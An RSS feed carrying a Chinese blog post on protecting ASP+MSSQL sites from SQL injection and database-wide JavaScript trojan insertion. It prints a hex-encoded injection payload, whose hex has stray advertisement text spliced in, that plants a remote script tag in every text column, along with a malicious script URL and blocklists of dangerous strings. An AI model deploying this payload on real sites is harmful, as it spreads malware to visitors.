<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[静怡家园]]></title> 
<link>http://www.zhanghaijun.com/index.php</link> 
<description><![CDATA[书山有路勤为径，学海无涯苦作舟！]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[静怡家园]]></copyright>
<item>
<link>http://www.zhanghaijun.com/post//</link>
<title><![CDATA[防范MSSQL数据库被挂马插入JS及sql注入的解决方法]]></title> 
<author>碟舞飞扬 &lt;webmaster@zhanghaijun.com&gt;</author>
<category><![CDATA[服务器类]]></category>
<pubDate>Wed, 11 Mar 2009 07:08:18 +0000</pubDate> 
<guid>http://www.zhanghaijun.com/post//</guid> 
<description>
<![CDATA[ 
	正 文：<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;这阵子，采用ASP+MSSQL设计的很多网站可能遭遇到sql数据库被挂马者插入JS木马的经历；这不，朋友的一个网站就被黑客忽悠了一把，mssql的每个varchar、text字段都被自动插入一段js代码，即使删除这段代码，如果没有从源头上解决，几分钟后，js代码就又会自动插入数据库。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;经过飘易的观察，这很有可能是程序自动执行的，黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站，然后采用小明子这样的注入扫描工具，扫描整个网站，一旦发现有sql注入的漏洞或者上传漏洞，黑客就通过各种手段，上传自己的大马，如海阳木马；然后，黑客就把这个网站纳入他的肉鸡列表，随时在数据库里加入自己希望加的js代码，而这些代码往往是包含着众多的的病毒、木马，最终让访问受控网站的用户的电脑中毒。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;虽然，可以通过sql查询分析器执行批量代换，暂时解决被插入的js代码问题，然而不从根本上解决整个网站存在的漏洞，包括程序上和服务器安全权限，那么黑客还是随时可以入侵你的网站数据库。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;在sql查询分析器里可以执行以下的代码批量替换js代码：<br/><div class="code">update 表名 set 字段名=replace(字段名,&#039;&lt;Script Src=http://c.n%75clear3.com/css/c.js&gt;&lt;/Script&gt;&#039;,&#039;&#039;) </div><br/>&nbsp;&nbsp;&nbsp;&nbsp;flymorn仔细检查了网站，发现网站存在几个安全问题：<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;第一，网站存在上传漏洞；虽然，上传文件需要管理员身份验证，也对上传文件进行了文件格式的认证，但管理员身份验证采用了cookies，而cookies是可以被伪造的，而且如果上传了图片后，不对该文件的内容采取任何判断的话，那么图片木马也很有可能被上传。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;flymorn的解决措施：1 删除上传文件功能（不太实际）；2 修改上传用户验证为session验证；3 对上传后的文件内容进行验证，如果是图片木马，则删除；可以参考以下的验证代码：<br/><div class="code">&#039;&#039;===============判断上传文件是否含非法字符串start================<br/>set MyFile = server.CreateObject(&quot;Scripting.FileSystemObject&quot;)<br/>set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) &#039;读取文本文件<br/>sTextAll = lcase(MyText.ReadAll)<br/>MyText.close<br/>set MyFile = nothing<br/>sStr=&quot;&lt;%&#124;.getfolder&#124;.createfolder&#124;.deletefolder&#124;.createdirectory&#124;.deletedirectory&#124;.saveas&#124;wscript.shell&#124;script.encode&#124;server.&#124;.createobject&#124;execute&#124;activexobject&#124;language=&quot;<br/>sNoString = split(sStr,&quot;&#124;&quot;) <br/>for i=0 to ubound(sNoString)<br/>&nbsp;&nbsp;if instr(sTextAll,sNoString(i)) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;set filedel = server.CreateObject(&quot;Scripting.FileSystemObject&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;filedel.deletefile Server.mappath(filePath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;set filedel = nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp;Response.Write(&quot;&lt;script&gt;alert(&#039;您上传的文件有问题，上传失败！&#039;);history.back();&lt;/script&gt;&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Response.End<br/>&nbsp;&nbsp;end if<br/>next<br/>&#039;&#039;=================判断上传文件是否含非法字符串end===================<br/></div><br/>&nbsp;&nbsp;&nbsp;&nbsp; 第二，网站存在cookies注入漏洞。由于程序设计中，为了考虑到减小服务器的开销，所有用户登陆后采用cookies验证，这个cookies里保存了用户的 ID 和 NAME ，而众所周知，cookies是经常被黑客伪造的，这是其一；另外，某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容，为了简便，采用了 request(&quot;id&quot;) 这样的方式。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 我们知道，ASP 的request 是先从form、querystring里获取内容，如果这两个为空，则要从cookies里获取内容，大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入，所以一般都会过滤 request.form 和 request.querystring进行sql注入；但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句：<br/><div class="code">SQL=&quot;select * from 表名 where id=&quot;&amp;request(&quot;id&quot;) <br/></div><br/>&nbsp;&nbsp;&nbsp;&nbsp;如果这个 id 恰巧是通过cookies来获取值的，那么想想，这是一件多么可怕的事啊！注入者可以轻松的伪造一个名为 id 的虚假 cookies ，因为这个 id 的cookies 是服务器分配给客户端的。这个cookies可以被伪造成类似下面这样的一段代码：<br/><div class="code">dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6<br/>15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(http://it.ad0.cn) 12e6e416d452c622e6e416d<br/>452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6<br/>94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3<br/>335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375<br/>72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768<br/>696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742<br/>b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275<br/>d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537<br/>352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6<br/>37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4<br/>3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);-- <br/></div><br/>看晕了吧。这是利用HEX的方式进行SQL注入，可以绕过一般的IDS验证，只要系统存在SQL注入，上面的代码将会被执行，通过游标遍历数据库中的所有表和列并在列中插入js代码。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 飘易采取的解决办法：1 严格过滤 request.form 和 request.querystring 获取的内容，坚决不用 request(&quot;name&quot;) 这样的方式获取值，凡是采用 cookies 保存的内容，尽量不要用在sql语句里进行查询数据库操作；2 重要的用户资料尽量采用 session 验证，因为session是服务器端的，客户端无法伪造数据，除非他有你服务器的权限。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击：<br/><div class="code">&lt;%<br/>Response.Buffer = True&nbsp;&nbsp;&#039;缓存页面<br/>&#039;防范get注入<br/>If Request.QueryString &lt;&gt; &quot;&quot;&nbsp;&nbsp;Then StopInjection(Request.QueryString)<br/>&#039;防范post注入<br/>If Request.Form &lt;&gt; &quot;&quot;&nbsp;&nbsp;Then StopInjection(Request.Form)<br/>&#039;防范cookies注入<br/>If Request.Cookies &lt;&gt; &quot;&quot;&nbsp;&nbsp;Then StopInjection(Request.Cookies)<br/><br/>&#039;正则子函数<br/>Function StopInjection(Values)<br/>Dim regEx<br/>Set regEx = New RegExp<br/>&nbsp;&nbsp;&nbsp;&nbsp;regEx.IgnoreCase = True<br/>&nbsp;&nbsp;&nbsp;&nbsp;regEx.Global = True<br/>&nbsp;&nbsp;&nbsp;&nbsp;regEx.Pattern = &quot;&#039;&#124;;&#124;#&#124;(&#91;&#92;s&#92;b+()&#93;+(&#91;email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)&#91;/s/b&#93;select&#124;update&#124;insert&#124;delete&#124;declare&#124;@&#124;exec&#124;dbcc&#124;alter&#124;drop&#124;create&#124;backup&#124;if&#124;else&#124;end&#124;and&#124;or&#124;add&#124;set&#124;open&#124;close&#124;use&#124;begin&#124;retun&#124;as&#124;go&#124;exists)&#91;&#92;s&#92;b&#91;/email&#93;+&#93;*)&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim sItem, sValue<br/>&nbsp;&nbsp;&nbsp;&nbsp;For Each sItem In Values<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sValue = Values(sItem)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If regEx.Test(sValue) Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write &quot;&lt;Script Language=javascript&gt;alert(&#039;非法注入！你的行为已被记录！！&#039;);history.back(-1);&lt;/Script&gt;&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.End<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;Set regEx = Nothing<br/>End function<br/>%&gt;<br/></div><br/>&nbsp;&nbsp;&nbsp;&nbsp; 把以上的代码另存为一个文件，如 antisql.asp ，然后在数据库连接文件开头包含这个文件 &lt;!--#include file=&quot;antisql.asp&quot;--&gt; ，就可以实现全站的防范 sql 注入的攻击了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 第三，严格过滤外部提交数据。判断提交页面的来源，如果不是当前站点，则拒绝提交。可以参考以下的代码，虽然来源网址可以伪造，但有这样的判断，毕竟可以阻挡那些没有技术含量的恶意提交：<br/><div class="code">&lt;%&#039;&#039;判断来源，禁止外部提交<br/>dim server_v1,server_v2<br/>server_v1=Cstr(Request.ServerVariables(&quot;HTTP_REFERER&quot;))<br/>server_v2=Cstr(Request.ServerVariables(&quot;SERVER_NAME&quot;))<br/>if server_v1=&quot;&quot; or instr(server_v1,&quot;发表页面名&quot;)&lt;=0 or mid(server_v1,8,len(server_v2))&lt;&gt;server_v2 then<br/>response.write &quot;&lt;SCRIPT language=JavaScript&gt;alert(&#039;来源非法，禁止外部提交！&#039;);&quot;<br/>response.write &quot;this.location.href=&#039;vbscript:history.back()&#039;;&lt;/SCRIPT&gt;&quot;<br/>response.end<br/>end if%&gt;<br/></div><br/>&nbsp;&nbsp;&nbsp;&nbsp; 第四，做好服务器权限的分配。对于数据库的权限，尽量分配最小的权限给用户使用，如果把sa或管理员的权限分下来，一旦被攻击沦陷，这将是一个毁灭性的打击。mssql 的1433端口，飘易建议不用的时候，最好关闭。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 总之，安全问题是一个综合的问题，一个小的细节，可能让你的几个月甚至几年的心血付之东流。我们不仅要从程序上着手每个细节，而且要仔细做好服务器的安全工作，对于虚拟主机的用户，还要防范服务器上的跨站攻击。细节决定成败。
]]>
</description>
</item><item>
<link>http://www.zhanghaijun.com/post//#blogcomment</link>
<title><![CDATA[[评论] 防范MSSQL数据库被挂马插入JS及sql注入的解决方法]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.zhanghaijun.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>